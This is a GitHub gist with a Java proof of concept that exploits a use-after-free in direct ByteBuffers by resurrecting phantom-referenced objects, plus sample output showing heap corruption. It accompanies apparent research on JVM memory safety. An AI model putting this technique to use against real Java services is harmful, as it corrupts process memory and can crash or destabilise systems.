Skip to content

Instantly share code, notes, and snippets.

@coekie
Created January 20, 2015 22:03
Show Gist options
  • Select an option

  • Save coekie/bcd9dd858292b3a8e372 to your computer and use it in GitHub Desktop.

Select an option

Save coekie/bcd9dd858292b3a8e372 to your computer and use it in GitHub Desktop.

Revisions

  1. coekie created this gist Jan 20, 2015.
    29 changes: 29 additions & 0 deletions ByteBufferUseAfterFree.java
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,29 @@
    import java.nio.ByteBuffer;
    import java.util.ArrayList;
    import java.util.List;

    // sub-optimal almost-reliable proof of concept JVM crasher.
    // see http://wouter.coekaerts.be/2015/resurrecting-phantomreference
    public class ByteBufferUseAfterFree {
    private static final int SIZE = 100_000;

    public static void main(String[] args) {
    List<ByteBuffer> badBuffers = new ArrayList<>();
    while (true) { // keep trying until it crashes
    // create one new buffer pointing to freed memory
    badBuffers.add(getFreedBuffer(SIZE));
    // overwrite all the bad memory references we collected so far
    for (ByteBuffer badBuffer : badBuffers) {
    badBuffer.clear();
    badBuffer.put(new byte[SIZE]);
    }
    }
    }

    private static ByteBuffer getFreedBuffer(int size) {
    System.out.print('.'); // indicate we're making progress
    Necromancer<ByteBuffer> necromancer =
    new Necromancer<>(ByteBuffer.allocateDirect(size));
    return necromancer.waitForDeathAndResurrect();
    }
    }
    2 changes: 2 additions & 0 deletions sample output
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,2 @@
    ........java(18061,0x10b5aa000) malloc: *** error for object 0x7f913107e208: incorrect checksum for freed object - object was probably modified after being freed.
    *** set a breakpoint in malloc_error_break to debug